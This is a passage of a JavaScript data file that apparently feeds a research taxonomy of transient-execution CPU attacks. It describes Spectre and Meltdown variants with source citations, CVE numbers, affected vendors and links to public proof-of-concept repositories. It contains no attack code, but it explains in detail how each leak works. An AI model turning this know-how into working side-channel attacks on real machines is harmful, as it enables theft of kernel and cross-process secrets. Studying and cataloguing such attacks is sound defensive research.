The resulting unambiguous naming scheme results in Meltdown-type attack leaves of the form “Meltdown-TC-BUF”, where TC denotes the transient cause (specific exception type or microcode assist) and BUF denotes the microarchitectural buffer responsible for the leakage.", sources: [ sources["Lipp2018"], sources["VanBulck2018"], sources["VanSchaik2019"], sources["Canella2019"], sources["Schwarz2019"], sources["Canella2018"], ], color: color.group }, { id: 4, title: "Spectre-PHT", alias: "Spectre v1", img: "spectre.svg", text_top: "microarchitectural buffer", father: 2, description: "Kocher et al. first introduced Spectre-PHT, an attack that poisons the Pattern History Table (PHT) to mispredict the direction (taken or not-taken) of conditional branches. Depending on the underlying microarchitecture, the PHT is accessed based on a combination of virtual address bits of the branch instruction plus a hidden Branch History Buffer (BHB) that accumulates global behavior for the last N branches on the same physical core.", sources: [ sources["Canella2018"], sources["Kocher2019"], sources["Evtyushkin2018"], sources["Fog"] ], names: [ { title: "Spectre variant 1", url: "https://spectreattack.com/" }, { title: "Spectre variant 1.1", url: "https://arxiv.org/pdf/1807.03757.pdf" }, { title: "Bounds Check Bypass (BCB)", url: "https://software.intel.com/security-software-guidance/api-app/sites/default/files/336983-Intel-Analysis-of-Speculative-Execution-Side-Channels-White-Paper.pdf" } ], cve: [{ title: "CVE-2017-5753", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5753" }], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT" }, { title: "https://github.com/google/safeside", url: "https://github.com/google/safeside/tree/master/demos" } ], color: color.group }, { id: 5, title: "Spectre-BTB", alias: "Spectre v2", img: "spectre.svg", father: 2, description: "In Spectre-BTB, the attacker poisons the Branch Target Buffer (BTB) to steer the transient execution to a mispredicted branch target. For direct branches, the CPU indexes the BTB using a subset of the virtual address bits of the branch instruction to yield the predicted jump target. For indirect branches, CPUs use different mechanisms, which may take into account global branching history accumulated in the BHB when indexing the BTB. We refer to both types as Spectre-BTB.

Contrary to Spectre-PHT, where transient instructions execute along a restricted mispredicted path, Spectre-BTB enables redirection of transient control flow to an arbitrary destination. Adopting established techniques from return-oriented programming (ROP) attacks, but abusing BTB poisoning instead of application-level vulnerabilities, selected code “gadgets” found in the victim address space may be chained together to construct arbitrary transient instruction sequences. Hence, while the success of Spectre-PHT critically relies on unintended leakage along the mispredicted code path, ROP-style gadget abuse in Spectre-BTB enables more direct construction of covert channels that expose secrets from the transient domain.", sources: [ sources["Kocher2019"], sources["Canella2018"] ], names: [ { title: "Spectre variant 2", url: "https://spectreattack.com/" }, { title: "Branch Target Injection (BTI)", url: "https://software.intel.com/security-software-guidance/api-app/sites/default/files/336983-Intel-Analysis-of-Speculative-Execution-Side-Channels-White-Paper.pdf" } ], cve: [{ title: "CVE-2017-5715", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5715" }], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB" }, { title: "https://github.com/google/safeside", url: "https://github.com/google/safeside/tree/master/demos" } ], color: color.group }, { id: 6, title: "Spectre-RSB", alias: "ret2spec", img: "spectre.svg", father: 2, description: "Maisuradze and Rossow and Koruyeh et al. introduced a Spectre variant that exploits the Return Stack Buffer (RSB). The RSB is a small per-core microarchitectural buffer that stores the virtual addresses following the N most recent call instructions. When encountering a ret instruction, the CPU pops the topmost element from the RSB to predict the return flow.

Misspeculation arises whenever the RSB layout diverges from the actual return addresses on the software stack. Such disparity for instance naturally occurs when restoring kernel/enclave/user stack pointers upon protection domain switches.

Furthermore, same-address-space adversaries may explicitly overwrite return addresses on the software stack, or transiently execute call instructions which update the RSB without committing architectural effects. This may allow untrusted code executing in a sandbox to transiently divert return control flow to interesting code gadgets outside of the sandboxed environment.

Due to the fixed-size nature of the RSB, a special case of misspeculation occurs for deeply nested function calls. Since the RSB can only store return addresses for the N most recent calls, an underfill occurs when the software stack is unrolled. In this case, the RSB can no longer provide accurate predictions. Starting from Skylake, Intel CPUs use the BTB as a fallback, thus allowing Spectre-BTB-style attacks triggered by ret instructions.", sources: [ sources["Maisuradze2018"], sources["Koruyeh2018"], sources["Canella2018"] ], names: [ { title: "ret2spec", url: "https://arxiv.org/pdf/1807.10364.pdf", }, { title: "SpectreRSB", url: "https://www.usenix.org/conference/woot18/presentation/koruyeh", }, ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB" }], cve: [{ title: "CVE-2017-5715", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5715" }], color: color.group }, { id: 7, title: "Spectre-STL", alias: "Spectre v4", img: "spectre.svg", father: 2, description: "Speculation in modern CPUs is not restricted to control flow but also includes predicting dependencies in the data flow. A common type, a Store To Load (STL) dependency, requires that a memory load shall not be executed before all preceding stores writing to the same location have completed. However, even before the addresses of all prior stores in the pipeline are known, the CPU's memory disambiguator may predict which loads can already be executed speculatively.

When the disambiguator predicts that a load does not have a dependency on a prior store, the load reads data from the L1 data cache. When the addresses of all prior stores are known, the prediction is verified. If any overlap is found, the load and all following instructions are re-executed.

Jann Horn (Google Project Zero) showed how mispredictions by the memory disambiguator could be abused to speculatively bypass store instructions. Like previous attacks, Spectre-STL adversaries rely on an appropriate transient instruction sequence to leak unsanitized stale values via a microarchitectural covert channel. Furthermore, operating on stale pointer values may speculatively break type and memory safety guarantees in the transient execution domain.

", sources: [ sources["Horn2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/STL" }, { title: "https://github.com/google/safeside", url: "https://github.com/google/safeside/tree/master/demos" } ], names: [ { title: "Spectre variant 4", url: "https://software.intel.com/security-software-guidance/software-guidance/speculative-store-bypass" }, { title: "Speculative Store Bypass (SSB)", url: "https://software.intel.com/security-software-guidance/software-guidance/speculative-store-bypass" }, ], cve: [{ title: "CVE-2018-3639", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-3639" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/speculative-store-bypass" }, { title: "AMD", }, { title: "ARM", }, ], color: color.works }, { id: 8, title: "Meltdown-NM-REG", alias: "LazyFP", father: 3, description: "During a context switch, the OS has to save all the registers, including the floating point unit (FPU) and SIMD registers. These latter registers are large and saving them would slow down context switches. Therefore, CPUs allow for a lazy state switch, meaning that instead of saving the registers, the FPU is simply marked as “not available”. The first FPU instruction issued after the FPU was marked as “not available” causes a device-not-available (#NM) exception, allowing the OS to save the FPU state of previous execution context before marking the FPU as available again.

Stecklina and Prescher propose an attack on the above lazy state switch mechanism. The attack consists of three steps. In the first step, a victim performs operations loading data into the FPU registers. Then, in the second step, the CPUswitches to the attacker and marks the FPU as “not available”. The attacker now issues an instruction that uses the FPU, which generates an #NM fault. Before the faulting instruction retires, however, the CPU has already transiently executed the following instructions using data from the previous context. As such, analogous to previous Meltdown-type attacks, a malicious transient instruction sequence following the faulting instruction can encode the unauthorized FPU register contents through a microarchitectural covert channel.", sources: [ sources["Stecklina2018"], sources["Canella2018"] ], names: [ { title: "Lazy FP State Restore (LazyFP)", url: "https://www.cyberus-technology.de/posts/2018-06-06-intel-lazyfp-vulnerability.html" }, ], cve: [{ title: "CVE-2018-3665", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-3665" }], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/NM" }], affects: [ { title: "Intel", url: "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00145.html" }, ], color: color.works }, { id: 9, title: "Meltdown-AC", alias: "", father: 3, description: "Upon detecting an unaligned memory operand, the CPU may generate an alignment-check exception (#AC) when the EFLAGS.AC flag is set. In our tests on Intel CPUs, we were unable to transiently encode the results of unaligned memory accesses. We suspect that this is because #AC is generated early in the pipeline, even before the operand’s virtual address is translated to a physical one. However, this appears not to be the case on some AMD and ARM microarchitectures, on which it is possible to transiently leak data after the exception.", sources: [ sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/AC" }], affects: [ { title: "AMD", url: "https://www.amd.com/system/files/documents/security-whitepaper.pdf" }, { title: "ARM", }, ], color: color.group }, { id: 67, title: "Meltdown-AC-LFB", alias: "RIDL", img: "mds.svg", father: 9, description: "The RIDL addendum explained that misaligned loads due to the AC flag may leak data from line-fill buffers. Interestingly, in contrast to the main RIDL variant Meltdown-P-LFB exploiting page faults, Meltdown-AC-LFB may work even on processors enumerating RDCL_NO silicon mitigations.", sources: [ sources["RIDLAddendum1"], sources["VanSchaik2019"], sources["IntelMDS"], ], names: [ { title: "Rogue In-flight Data Load (RIDL) Addendum", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Fill Buffer Data Sampling (MFBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12130", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12130" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], poc: [{ title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], color: color.works }, { id: 68, title: "Meltdown-AC-LP", alias: "RIDL", img: "mds.svg", father: 9, description: "The RIDL addendum explained that misaligned loads due to the AC flag may leak data from load ports. Interestingly, in contrast to the main RIDL variant Meltdown-P-LFB exploiting page faults, Meltdown-AC-LP may work even on processors enumerating RDCL_NO silicon mitigations.", sources: [ sources["RIDLAddendum1"], sources["VanSchaik2019"], sources["Falk2019"], sources["IntelMDS"], ], names: [ { title: "Rogue In-flight Data Load (RIDL) Addendum", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Load Port Data Sampling (MLPDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12127", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12127" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling" }, ], poc: [{ title: "https://github.com/vusec/ridl", url: "https://github.com/vusec/ridl", }], color: color.works }, { id: 10, title: "Meltdown-DE", father: 3, description: "On the ARM microarchitectures we tested, division by zero produces no exception, merely yielding zero. As there is no fault, we do not count this as a Meltdown variant on ARM. On x86, the division raises a divide-by-zero exception (#DE). On both the AMD and Intel microarchitectures we tested, the CPU continues with transient execution after the exception, using zero as the result of the division. Thus the division itself does not leak a value (for example the numerator) but subsequent transient execution can still be used to leak values.", sources: [ sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/DE" }], affects: [ { title: "Intel", }, { title: "AMD", }, ], color: color.works }, { id: 11, title: "Meltdown-PF", img: "pte.svg", father: 3, description: "The category of Meltdown attacks caused by a page fault. As there are many possibilities for a page fault, the attacks are further classified by the bit in the page-table entry causing the page fault.", sources: [ sources["Canella2018"] ], color: color.group }, { id: 12, title: "Meltdown-UD", father: 3, description: "For our original paper we did not succeed in transiently executing instructions following an invalid opcode. Google's Safeside project subsequently achieved this on ARM, and we have updated our PoC accordingly. We suspect that on Intel and AMD CPUs exceptions during instruction fetch or decode are immediately handled by the CPU, without first buffering the offending instruction in the ROB. Hence, invalid opcodes would only leak if the microarchitectural effect is an effect caused by the invalid opcode itself, rather than by subsequent transient instructions.", sources: [ sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/UD" }, { title: "https://github.com/google/safeside", url: "https://github.com/google/safeside/blob/master/demos/meltdown_ud.cc" }], affects: [{ title: "ARM", }], color: color.works }, { id: 13, title: "Meltdown-SS", father: 3, description: "We reliably found in our experiments on Intel CPUs that we cannot transiently leak the results of out-of-limit segment accesses. We suspect that, due to the simplistic IA32 segmentation design, segment limits are validated early-on, and immediately raise a #GP or #SS (stack-segment fault) exception, without sending the offending instruction to the ROB. However, we have successfully reproduced Meltdown-SS on some AMD microarchitectures, which is consistent with AMD's documentation that #SS does not suppress speculation.", sources: [ sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/SS" }], affects: [ { title: "AMD", url: "https://www.amd.com/system/files/documents/security-whitepaper.pdf" } ], color: color.works }, { id: 14, title: "Meltdown-BR", father: 3, description: "A Meltdown-BR attack exploits transient execution following a #BR exception to encode out-of-bounds secrets that are never architecturally visible. As such, Meltdown-BR is an exception-driven alternative for Spectre-PHT. Using such an attack, an attcker can leak data safeguarded by either an IA32 bound instruction (Intel, AMD), or state-of-the-art MPX protection (Intel-only). This is the first experiment demonstrating a Meltdown-type transient execution attack exploiting delayed exception handling on AMD CPUs.", sources: [ sources["Intel2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/BR" }], color: color.group }, { id: 15, title: "Meltdown-GP", father: 3, description: "Similar to page faults, x86 general protection faults (#GP) have been abused in multiple Meltdown-type attacks. We hence categorize further based on #GP cause and targeted microarchitectural buffer.", todo: "While we have done our best to explore all potentially exploitable causes for #GP exceptions in the x86 architecture, we encourage future research to further investigate potential Meltdown-GP variants.", sources: [ sources["Canella2018"], sources["ARM2018"], sources["Intel2018"], sources["Canella2019"] ], color: color.group }, { id: 16, title: "Meltdown-US", img: "pte-us.svg", father: 11, description: "Modern CPUs commonly feature a “user/supervisor” (U/S) pagetable attribute to denote a virtual memory page as belonging to the OS kernel. Page faults raised by the U/S attribute can be abused to read cached kernel secrets, as well as to extract data from other microarchitectural buffers. We therefore categorize Meltdown-US further by the leakage source.", sources: [ sources["Lipp2018"], sources["Schwarz2019"], sources["Canella2019"], sources["Canella2018"] ], color: color.group }, { id: 17, title: "Meltdown-P", img: "pte-p.svg", father: 11, description: "Meltdown-P exploits transient execution following a page fault when accessing unmapped pages (present bit clear). As with the U/S attribute, page faults caused by the present bit have been abused to extract data from a variety of buffers. We therefore categorize Meltdown-P further by the leakage source.", sources: [ sources["VanBulck2018"], sources["VanSchaik2019"], sources["Canella2019"], sources["Canella2018"] ], color: color.group }, { id: 18, title: "Meltdown-RW", img: "pte-rw.svg", alias: "v1.2", father: 11, description: "Kiriansky and Waldspurger presented the first Meltdown-type attack that bypasses page-table based access rights within the current privilege level. Specifically, they showed that transient execution does not respect the “read/write” page-table attribute. The ability to transiently overwrite read-only data within the current privilege level can bypass software-based sandboxes which rely on hardware enforcement of read-only memory.", sources: [ sources["Kiriansky2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/RW" }], names: [ { title: "Variant 1.2", url: "https://arxiv.org/pdf/1807.03757.pdf" }, ], affects: [ { title: "Intel", url: "https://www.intel.com/content/www/us/en/support/articles/000029382/processors.html" }, { title: "ARM", } ], color: color.works }, { id: 19, title: "Meltdown-PK", img: "pte-pk.svg", father: 11, description: "Intel Skylake-SP server CPUs support memory-protection keys for user space (PKU). This feature allows processes to change the access permissions of a page directly from user space, i.e., without requiring a syscall/hypercall. Thus, with PKU, user-space applications can implement efficient hardware-enforced isolation of trusted parts. A Meltdown-PK attack bypasses both the read and write isolation provided by the PKU. Meltdown-PK works if an attacker has code execution in the containing process, even if the attacker cannot execute the wrpkru instruction (e.g., blacklisting).", todo: "We encourage exploring the possibility of using Meltdown-PK to leak data from other buffers apart from the L1 cache and store buffer.", sources: [ sources["Canella2018"] ], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings", }, ], color: color.group }, { id: 70, title: "Meltdown-PK-L1", father: 19, description: "As part of our systematic analysis, we presented a novel Meltdown-PK-L1 variant which bypasses both the read and write isolation provided by PKU to leak unauthorized data from the L1 cache.", sources: [ sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/PK" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings", }, ], color: color.works }, { id: 71, title: "Meltdown-PK-SB", alias: "Fallout", img: "mds.svg", father: 19, description: "The Fallout paper includes an experiment to leak data from the store buffer using a faulting load from a page marked as unreadable with PKU.", sources: [ sources["Canella2019"] ], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings", }, ], names: [ { title: "Fallout", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Store Buffer Data Sampling (MSBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12126", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12126" }], color: color.works }, { id: 20, title: "Meltdown-XD", img: "pte-x.svg", father: 11, description: "On our test systems, we did not succeed in transiently executing instructions residing in non-executable memory.", sources: [ sources["Canella2018"] ], color: color.fails }, { id: 21, title: "Meltdown-SM-SB", alias: "Fallout", img: "mds.svg", father: 11, description: "Although supervisor mode access prevention (SMAP) raises a page fault (#PF) when accessing user-space memory from the kernel, it seems to be free of any Meltdown effect in our experiments. Thus, we were not able to leak user data from kernel space using Meltdown-SM in our experiments.

However, the Fallout paper includes an experiment to leak store buffer data using SMAP exceptions from kernel space.", sources: [ sources["Canella2018"], sources["Canella2019"] ], names: [ { title: "Fallout", url: "https://mdsattacks.com/" }, { title: "Microarchitectural Store Buffer Data Sampling (MSBDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, { title: "Microarchitectural Data Sampling (MDS)", url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling" }, ], cve: [{ title: "CVE-2018-12126", url: "https://nvd.nist.gov/vuln/detail/CVE-2018-12126" }], affects: [ { title: "Intel" } ], color: color.works }, { id: 22, title: "Meltdown-MPX", father: 14, description: "An attacker can leak data safeguarded by state-of-the-art MPX protection (Intel-only).", sources: [ sources["Intel2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/BR" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings", }, ], color: color.works }, { id: 23, title: "Meltdown-BND", father: 14, description: "An attcker can leak data safeguarded by an IA32 bound instruction (Intel, AMD). This is the first experiment demonstrating a Meltdown-type transient execution attack exploiting delayed exception handling on AMD CPUs.", sources: [ sources["Intel2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/BR" }], affects: [ { title: "Intel", url: "https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings", }, { title: "AMD" } ], color: color.works }, { id: 24, title: "Cross-address-space", text_top: "mistraining strategy", description: "In a cross-address-space scenario, an attacker has two options. In the first, an attacker can mirror the virtual address space layout of the victim on a hyperthread (same physical core) and mistrain at the exact same virtual address as the victim branch. We refer to this as cross-address-space in-place (CA-IP). In the second, the attacker mistrains the PHT on a congruent virtual address in a different address space. We refer to this as cross-address-space out-of-place (CA-OP). Cross-address-space attacks are possible because the PHT is shared between hyperthreads on the same logical core.", sources: [ sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT" }], father: 4, color: color.group }, { id: 25, title: "Same-address-space", father: 4, description: "In a same-address-space scenario, an attacker has two options. The first option is to mistrain the exact location that is later on attacked. We refer to this as same-address-space in-place (SA-IP), In the second scenario, a congruent address is used for the mistraining. This is possible because only a subset of the virtual address is used for indexing the PHT. We refer to this as same-address-space out-of-place (SA-OP).", sources: [ sources["Kocher2019"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT" }], color: color.group }, { id: 26, title: "Cross-address-space", father: 5, description: "In a cross-address-space scenario, an attacker has two options. In the first, an attacker can mirror the virtual address space layout of the victim on a hyperthread (same physical core) and mistrain at the exact same virtual address as the victim branch. We refer to this as cross-address-space in-place (CA-IP). In the second, the attacker mistrains the BTB on a congruent virtual address in a different address space. We refer to this as cross-address-space out-of-place (CA-OP). Cross-address-space attacks are possible because the BTB is shared between hyperthreads on the same logical core.", sources: [ sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB" }], color: color.group }, { id: 27, title: "Same-address-space", father: 5, description: "In a same-address-space scenario, an attacker has two options. The first option is to mistrain the exact location that is later on attacked. We refer to this as same-address-space in-place (SA-IP), In the second scenario, a congruent address is used for the mistraining. This is possible because only a subset of the virtual address is used for indexing the BTB. We refer to this as same-address-space out-of-place (SA-OP).", sources: [ sources["Kocher2019"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB" }], color: color.group }, { id: 28, title: "Cross-address-space", father: 6, description: "In a cross-address-space RSB attack, an attacker cannot simply run on a hyperthread to influence the RSB. This is because the RSB is not shared between hyperthreads. Therefore, an attacker has to interleave the execution of their program with the victim's program to poison the RSB. This is possible in both in-place and out-of-place scenarios.", sources: [ sources["Maisuradze2018"], sources["Koruyeh2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB" }], color: color.group }, { id: 29, title: "Same-address-space", father: 6, description: "In a same-address-space RSB attack, an attacker can explicitly overwrite the return address on the software stack or transiently execute call instructions. Another cause for misspeculation is deeply nested function calls. This is due to the limited size of the RSB. One natural occurrence of RSB misspeculation is when restoring the kernel/enclave/user stack pointer upon switching protection domains. In all those cases, the execution might be diverted to a special code gadget that leaks data.", sources: [ sources["Maisuradze2018"], sources["Koruyeh2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB" }], color: color.group }, { id: 30, title: "PHT-CA-IP", img: "spectre.svg", text_top: "in-place (IP) vs. out-of-place (OP)", father: 24, description: "The cross-address-space, in-place variant of Spectre-PHT.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/ca_ip" }], sources: [ sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", } ], cve: [{ title: "CVE-2017-5753", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5753" }], color: color.works }, { id: 31, title: "PHT-CA-OP", img: "spectre.svg", father: 24, description: "The cross-address-space, out-of-place variant of Spectre-PHT.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/ca_oop" }], sources: [ sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", } ], cve: [{ title: "CVE-2017-5753", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5753" }], color: color.works }, { id: 32, title: "PHT-SA-IP", alias: "Spectre v1", img: "spectre.svg", father: 25, description: "The same-address-space, in-place variant of Spectre-PHT. This was one of the first discovered variants. It is the best-known variant of Spectre-PHT.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/sa_ip" }], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", } ], sources: [ sources["Kocher2019"], sources["Kiriansky2018"], sources["Canella2018"] ], cve: [{ title: "CVE-2017-5753", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5753" }], color: color.works }, { id: 33, title: "PHT-SA-OP", img: "spectre.svg", father: 25, description: "The same-address-space, out-of-place variant of Spectre-PHT.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/sa_oop" }], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", } ], sources: [ sources["Canella2018"] ], cve: [{ title: "CVE-2017-5753", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5753" }], color: color.works }, { id: 34, title: "BTB-CA-IP", alias: "Spectre v2", img: "spectre.svg", father: 26, description: "The cross-address-space, in-place variant of Spectre-BTB. This was one of the first discovered variants.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/ca_ip" }], sources: [ sources["Kocher2019"], sources["Chen2019"], sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", } ], cve: [{ title: "CVE-2017-5715", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5715" }], color: color.works }, { id: 35, title: "BTB-CA-OP", alias: "Spectre v2", img: "spectre.svg", father: 26, description: "The cross-address-space, out-of-place variant of Spectre-BTB. This was one of the first discovered variants.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/ca_oop" }], sources: [ sources["Kocher2019"], sources["Canella2018"] ], affects: [ { title: "Intel", }, ], cve: [{ title: "CVE-2017-5715", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5715" }], color: color.works }, { id: 36, title: "BTB-SA-IP", img: "spectre.svg", father: 27, description: "The same-address-space, in-place variant of Spectre-BTB.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/sa_ip" }], sources: [ sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", } ], cve: [{ title: "CVE-2017-5715", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5715" }], color: color.works }, { id: 37, title: "BTB-SA-OP", alias: "Spectre v2", img: "spectre.svg", father: 27, description: "The same-address-space, out-of-place variant of Spectre-BTB.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/sa_oop" }], sources: [ sources["Chen2019"], sources["Canella2018"] ], affects: [ { title: "Intel", }, ], cve: [{ title: "CVE-2017-5715", url: "https://nvd.nist.gov/vuln/detail/CVE-2017-5715" }], color: color.works }, { id: 38, title: "RSB-CA-IP", alias: "ret2spec", img: "spectre.svg", father: 28, description: "The cross-address-space, in-place variant of Spectre-RSB.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/ca_ip" }], sources: [ sources["Koruyeh2018"], sources["Maisuradze2018"], sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, ], color: color.works }, { id: 39, title: "RSB-CA-OP", img: "spectre.svg", father: 28, description: "The cross-address-space, out-of-place variant of Spectre-RSB.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/ca_oop" }], sources: [ sources["Koruyeh2018"], sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, ], color: color.works }, { id: 40, title: "RSB-SA-IP", alias: "ret2spec", img: "spectre.svg", father: 29, description: "The same-address-space, in-place variant of Spectre-RSB.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/sa_ip" }], sources: [ sources["Maisuradze2018"], sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", }, ], color: color.works }, { id: 41, title: "RSB-SA-OP", alias: "ret2spec", img: "spectre.svg", father: 29, description: "The same-address-space, out-of-place variant of Spectre-RSB.", poc: [{ title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/sa_oop" }], sources: [ sources["Koruyeh2018"], sources["Maisuradze2018"], sources["Canella2018"] ], affects: [ { title: "Intel", }, { title: "AMD", }, { title: "ARM", }, ], color: color.works }, { id: 42, title: "Meltdown-US-L1", alias: "Meltdown", img: "meltdown.svg", father: 16, description: "The original Meltdown attack reads cached kernel memory from user space on CPUs that do not transiently enforce the user/supervisor flag. In the trigger phase an unauthorized kernel address is dereferenced, which eventually causes a page fault. Before the fault becomes architecturally visible, however, the attacker executes a transient instruction sequence that for instance accesses a cache line based on the privileged data read by the trigger instruction. In the final phase, after the exception has been raised, the privileged data is reconstructed at the receiving end of the covert channel (e.g., Flush+Reload).", sources: [ sources["Lipp2018"], sources["Canella2018"] ], poc: [{ title: "https://github.com/IAIK/meltdown", url: "https://github.com/IAIK/meltdown" }, { title: "https://github.com/IAIK/transientfail", url: "https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/US" }, { title: "https://github.com/google/safeside", url: "https://github.com/google/safeside/tree/master/demos" } ], names: [ { title: "Meltdown", url: "https://meltdownattack.com/" }, { title: "Rogue Data Cache Load (RDCL)", url: "https://software.intel.com/security-software-guidance/software-guidance/rogue-data-cache-load" }, { title: "Variant 3", }, ], cve: [{ title: "CVE-2017-5754", url: 